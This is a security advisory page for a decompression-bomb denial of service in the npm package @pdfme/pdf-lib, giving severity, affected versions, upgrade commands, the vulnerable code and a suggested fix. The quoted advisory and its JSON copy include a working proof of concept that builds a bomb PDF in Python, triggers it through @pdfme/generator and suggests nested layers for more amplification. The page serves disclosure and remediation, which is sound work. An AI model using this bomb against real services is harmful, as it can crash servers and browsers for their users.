GHSA-vrqm-gvq7-rrwh: @pdfme/pdf lib Denial of Service Vulnerability

MODERATE
CVSS 6.5
CWE-409
Published
Advisory Summary

GHSA-vrqm-gvq7-rrwh is a MODERATE (CVSS 6.5) denial of service vulnerability (CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)) affecting @pdfme/pdf lib libraries in the npm ecosystem. The issue involves pdfme affected by decompression bomb in flatedecode stream parsing causes memory exhaustion dos. Remediation is available by upgrading affected packages to version 5.5.10.

GHSA-vrqm-gvq7-rrwh at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-vrqm-gvq7-rrwh
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Affected Product @pdfme/pdf lib
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix GHSA-vrqm-gvq7-rrwh

To remediate this vulnerability, upgrade all affected @pdfme/pdf lib dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@pdfme/pdf-lib fixed: 5.5.10
npm install @pdfme/pdf-lib@5.5.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @pdfme/pdf-lib

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-vrqm-gvq7-rrwh, inspect your project dependencies using npm:

npm ls @pdfme/pdf-lib

Analyze the terminal output to locate any version of @pdfme/pdf lib in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.5.10), your application is affected.

Note: The npm ls @pdfme/pdf-lib command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification), where the product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. In @pdfme/pdf lib, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `DecodeStream.ensureBuffer()` method in `@pdfme/pdf-lib` doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts. ## Details The vulnerability exists in the `DecodeStream` class, which is the base class for all stream decoders including `FlateStream` (DEFLATE/zlib decompression). **Unbounded buffer growth in `ensureBuffer()`** — `packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160`: ```typescript protected ensureBuffer(requested: number) { const buffer = this.buffer; if (requested <= buffer.byteLength) { return buffer; } let size = this.minBufferLength; while (size < requested) { size *= 2; // Doubles with no upper bound } const buffer2 = new Uint8Array(size); // Allocates without limit buffer2.set(buffer); return (this.buffer = buffer2); } ``` The `size *= 2` loop has no maximum size check. The buffer will continue doubling until the process runs out of memory. **Unconditional full decompression in `decode()`** — `DecodeStream.ts:139-141`: ```typescript decode(): Uint8Array { while (!this.eof) this.readBlock(); // Fully decompresses before returning return this.buffer.subarray(0, this.bufferLength); } ``` **`FlateStream.readBlock()`** calls `ensureBuffer()` repeatedly during decompression — `packages/pdf-lib/src/core/streams/FlateStream.ts:272-274`: ```typescript if (pos + 1 >= limit) { buffer = this.ensureBuffer(pos + 1); limit = buffer.length; } ``` And again at line 297-300: ```typescript if (pos + len >= limit) { buffer = this.ensureBuffer(pos + len); limit = buffer.length; } ``` **Entry point via `basePdf`** — `packages/generator/src/helper.ts:42-43`: ```typescript const willLoadPdf = await getB64BasePdf(basePdf); const embedPdf = await PDFDocument.load(willLoadPdf); ``` The `basePdf` parameter accepts base64-encoded data, a URL, or raw bytes. When `PDFDocument.load()` parses the PDF, it encounters FlateDecode streams and decompresses them through `FlateStream` → `DecodeStream` with no size limits. The same code path exists in the UI package at `packages/ui/src/helper.ts:292` and `packages/ui/src/hooks.ts:67`. ## PoC **Step 1: Create a decompression bomb PDF** ```python #!/usr/bin/env python3 """Generate a PDF decompression bomb for PoC.""" import zlib import struct # Create highly compressible data: 100MB of null bytes # compresses to ~100KB (~1000:1 ratio) uncompressed = b'\x00' * (100 * 1024 * 1024) # 100 MB compressed = zlib.compress(uncompressed, 9) # Minimal PDF structure with FlateDecode stream pdf = b"""%PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >> endobj 4 0 obj << /Filter /FlateDecode /Length """ + str(len(compressed)).encode() + b""" >> stream """ + compressed + b""" endstream endobj xref 0 5 """ # Write proper xref (simplified for PoC) with open("bomb.pdf", "wb") as f: f.write(pdf) f.write(b"trailer << /Size 5 /Root 1 0 R >>\nstartxref\n0\n%%EOF\n") print(f"Compressed size: {len(compressed)} bytes") print(f"Decompressed size: {len(uncompressed)} bytes") print(f"Ratio: {len(uncompressed)/len(compressed):.0f}:1") ``` **Step 2: Trigger via @pdfme/generator** ```javascript const { generate } = require('@pdfme/generator'); const fs = require('fs'); const bombPdf = fs.readFileSync('bomb.pdf'); // This will cause unbounded memory allocation during PDF parsing generate({ template: { basePdf: bombPdf, // Attacker-controlled input schemas: [[]], }, inputs: [{}], plugins: {}, }).catch(err => console.error('OOM or crash:', err.message)); ``` **Step 3: Observe memory exhaustion** ```bash # Monitor memory usage — the Node.js process will consume all available memory # and either crash with a heap allocation failure or be OOM-killed node --max-old-space-size=512 trigger.js # Expected: "FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory" ``` For higher amplification (e.g., 10GB decompressed from ~10MB compressed), nest multiple FlateDecode layers or use a larger null-byte payload. ## Impact - **Denial of Service**: Any application using `@pdfme/generator` or `@pdfme/ui` that allows users to supply PDF templates is vulnerable to memory exhaustion. A single crafted PDF can crash the Node.js process or freeze the browser tab. - **Server-side impact**: In server-side PDF generation pipelines, this can take down the entire service. The ~1000:1 amplification ratio means a ~100KB upload can force allocation of ~100MB+ of memory, and larger ratios are achievable. - **Client-side impact**: In browser-based usage (Designer/Form/Viewer components), loading a malicious template freezes the tab and may crash the browser process. - **No authentication bypass needed**: The attack only requires the ability to supply a `basePdf` value, which is the standard template input parameter — no elevated privileges are needed. ## Recommended Fix Add a maximum decoded size limit to `ensureBuffer()` in `packages/pdf-lib/src/core/streams/DecodeStream.ts`: ```typescript const MAX_DECODED_SIZE = 100 * 1024 * 1024; // 100 MB class DecodeStream implements StreamType { // ... existing fields ... protected ensureBuffer(requested: number) { const buffer = this.buffer; if (requested <= buffer.byteLength) { return buffer; } if (requested > MAX_DECODED_SIZE) { throw new Error( `Decoded stream size ${requested} exceeds maximum allowed size ${MAX_DECODED_SIZE}. ` + `This may indicate a decompression bomb.` ); } let size = this.minBufferLength; while (size < requested) { size *= 2; } // Cap the allocation even if the doubling overshoots if (size > MAX_DECODED_SIZE) { size = MAX_DECODED_SIZE; } const buffer2 = new Uint8Array(size); buffer2.set(buffer); return (this.buffer = buffer2); } } ``` Optionally, expose the limit via `PDFDocument.load()` options so consumers can tune it: ```typescript // In LoadOptions interface: interface LoadOptions { // ... existing options ... maxDecodedStreamSize?: number; // Default: 100 MB } ```

GHSA-vrqm-gvq7-rrwh Affected @pdfme/pdf lib Versions

1 component(s)
Fixed Versions:
5.5.10
Product / Package Ecosystem Affected Versions Fixed Version
@pdfme/pdf-lib
npm
< 5.5.10
5.5.10

References

Frequently Asked Questions

What is GHSA-vrqm-gvq7-rrwh?
GHSA-vrqm-gvq7-rrwh is a security vulnerability in @pdfme/pdf lib involving PDFME Affected by Decompression Bomb in FlateDecode Stream Parsing Causes Memory Exhaustion DoS under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification).
Which @pdfme/pdf lib versions are affected?
Affected versions include releases prior to 5.5.10 across affected packages: @pdfme/pdf-lib.
What version fixes GHSA-vrqm-gvq7-rrwh?
Upgrading to 5.5.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @pdfme/pdf-lib affected?
Yes, @pdfme/pdf-lib is affected in releases prior to 5.5.10. Upgrade your dependency to 5.5.10 or later.
What is the CVSS score of GHSA-vrqm-gvq7-rrwh?
GHSA-vrqm-gvq7-rrwh has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with GHSA-vrqm-gvq7-rrwh?
GHSA-vrqm-gvq7-rrwh is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.).
How can I check npm dependencies for GHSA-vrqm-gvq7-rrwh?
Run the dependency tree command: 'npm ls @pdfme/pdf-lib'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vrqm-gvq7-rrwh",
  "modified" : "2026-03-20T20:44:52Z",
  "published" : "2026-03-20T20:44:52Z",
  "aliases" : [ ],
  "summary" : "PDFME Affected by Decompression Bomb in FlateDecode Stream Parsing Causes Memory Exhaustion DoS",
  "details" : "## Summary\n\nThe `DecodeStream.ensureBuffer()` method in `@pdfme/pdf-lib` doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.\n\n## Details\n\nThe vulnerability exists in the `DecodeStream` class, which is the base class for all stream decoders including `FlateStream` (DEFLATE/zlib decompression).\n\n**Unbounded buffer growth in `ensureBuffer()`** — `packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160`:\n\n```typescript\nprotected ensureBuffer(requested: number) {\n  const buffer = this.buffer;\n  if (requested <= buffer.byteLength) {\n    return buffer;\n  }\n  let size = this.minBufferLength;\n  while (size < requested) {\n    size *= 2;  // Doubles with no upper bound\n  }\n  const buffer2 = new Uint8Array(size);  // Allocates without limit\n  buffer2.set(buffer);\n  return (this.buffer = buffer2);\n}\n```\n\nThe `size *= 2` loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.\n\n**Unconditional full decompression in `decode()`** — `DecodeStream.ts:139-141`:\n\n```typescript\ndecode(): Uint8Array {\n  while (!this.eof) this.readBlock();  // Fully decompresses before returning\n  return this.buffer.subarray(0, this.bufferLength);\n}\n```\n\n**`FlateStream.readBlock()`** calls `ensureBuffer()` repeatedly during decompression — `packages/pdf-lib/src/core/streams/FlateStream.ts:272-274`:\n\n```typescript\nif (pos + 1 >= limit) {\n  buffer = this.ensureBuffer(pos + 1);\n  limit = buffer.length;\n}\n```\n\nAnd again at line 297-300:\n\n```typescript\nif (pos + len >= limit) {\n  buffer = this.ensureBuffer(pos + len);\n  limit = buffer.length;\n}\n```\n\n**Entry point via `basePdf`** — `packages/generator/src/helper.ts:42-43`:\n\n```typescript\nconst willLoadPdf = await getB64BasePdf(basePdf);\nconst embedPdf = await PDFDocument.load(willLoadPdf);\n```\n\nThe `basePdf` parameter accepts base64-encoded data, a URL, or raw bytes. When `PDFDocument.load()` parses the PDF, it encounters FlateDecode streams and decompresses them through `FlateStream` → `DecodeStream` with no size limits.\n\nThe same code path exists in the UI package at `packages/ui/src/helper.ts:292` and `packages/ui/src/hooks.ts:67`.\n\n## PoC\n\n**Step 1: Create a decompression bomb PDF**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Generate a PDF decompression bomb for PoC.\"\"\"\nimport zlib\nimport struct\n\n# Create highly compressible data: 100MB of null bytes\n# compresses to ~100KB (~1000:1 ratio)\nuncompressed = b'\\x00' * (100 * 1024 * 1024)  # 100 MB\ncompressed = zlib.compress(uncompressed, 9)\n\n# Minimal PDF structure with FlateDecode stream\npdf = b\"\"\"%PDF-1.4\n1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n\n2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n\n3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]\n   /Contents 4 0 R >>\nendobj\n\n4 0 obj\n<< /Filter /FlateDecode /Length \"\"\" + str(len(compressed)).encode() + b\"\"\" >>\nstream\n\"\"\" + compressed + b\"\"\"\nendstream\nendobj\n\nxref\n0 5\n\"\"\"\n# Write proper xref (simplified for PoC)\nwith open(\"bomb.pdf\", \"wb\") as f:\n    f.write(pdf)\n    f.write(b\"trailer << /Size 5 /Root 1 0 R >>\\nstartxref\\n0\\n%%EOF\\n\")\n\nprint(f\"Compressed size: {len(compressed)} bytes\")\nprint(f\"Decompressed size: {len(uncompressed)} bytes\")\nprint(f\"Ratio: {len(uncompressed)/len(compressed):.0f}:1\")\n```\n\n**Step 2: Trigger via @pdfme/generator**\n\n```javascript\nconst { generate } = require('@pdfme/generator');\nconst fs = require('fs');\n\nconst bombPdf = fs.readFileSync('bomb.pdf');\n\n// This will cause unbounded memory allocation during PDF parsing\ngenerate({\n  template: {\n    basePdf: bombPdf,  // Attacker-controlled input\n    schemas: [[]],\n  },\n  inputs: [{}],\n  plugins: {},\n}).catch(err => console.error('OOM or crash:', err.message));\n```\n\n**Step 3: Observe memory exhaustion**\n\n```bash\n# Monitor memory usage — the Node.js process will consume all available memory\n# and either crash with a heap allocation failure or be OOM-killed\nnode --max-old-space-size=512 trigger.js\n# Expected: \"FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory\"\n```\n\nFor higher amplification (e.g., 10GB decompressed from ~10MB compressed), nest multiple FlateDecode layers or use a larger null-byte payload.\n\n## Impact\n\n- **Denial of Service**: Any application using `@pdfme/generator` or `@pdfme/ui` that allows users to supply PDF templates is vulnerable to memory exhaustion. A single crafted PDF can crash the Node.js process or freeze the browser tab.\n- **Server-side impact**: In server-side PDF generation pipelines, this can take down the entire service. The ~1000:1 amplification ratio means a ~100KB upload can force allocation of ~100MB+ of memory, and larger ratios are achievable.\n- **Client-side impact**: In browser-based usage (Designer/Form/Viewer components), loading a malicious template freezes the tab and may crash the browser process.\n- **No authentication bypass needed**: The attack only requires the ability to supply a `basePdf` value, which is the standard template input parameter — no elevated privileges are needed.\n\n## Recommended Fix\n\nAdd a maximum decoded size limit to `ensureBuffer()` in `packages/pdf-lib/src/core/streams/DecodeStream.ts`:\n\n```typescript\nconst MAX_DECODED_SIZE = 100 * 1024 * 1024; // 100 MB\n\nclass DecodeStream implements StreamType {\n  // ... existing fields ...\n\n  protected ensureBuffer(requested: number) {\n    const buffer = this.buffer;\n    if (requested <= buffer.byteLength) {\n      return buffer;\n    }\n\n    if (requested > MAX_DECODED_SIZE) {\n      throw new Error(\n        `Decoded stream size ${requested} exceeds maximum allowed size ${MAX_DECODED_SIZE}. ` +\n        `This may indicate a decompression bomb.`\n      );\n    }\n\n    let size = this.minBufferLength;\n    while (size < requested) {\n      size *= 2;\n    }\n\n    // Cap the allocation even if the doubling overshoots\n    if (size > MAX_DECODED_SIZE) {\n      size = MAX_DECODED_SIZE;\n    }\n\n    const buffer2 = new Uint8Array(size);\n    buffer2.set(buffer);\n    return (this.buffer = buffer2);\n  }\n}\n```\n\nOptionally, expose the limit via `PDFDocument.load()` options so consumers can tune it:\n\n```typescript\n// In LoadOptions interface:\ninterface LoadOptions {\n  // ... existing options ...\n  maxDecodedStreamSize?: number; // Default: 100 MB\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@pdfme/pdf-lib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.5.10"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.5.9"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pdfme/pdfme/security/advisories/GHSA-vrqm-gvq7-rrwh"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pdfme/pdfme"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-409" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T20:44:52Z",
    "nvd_published_at" : null
  }
}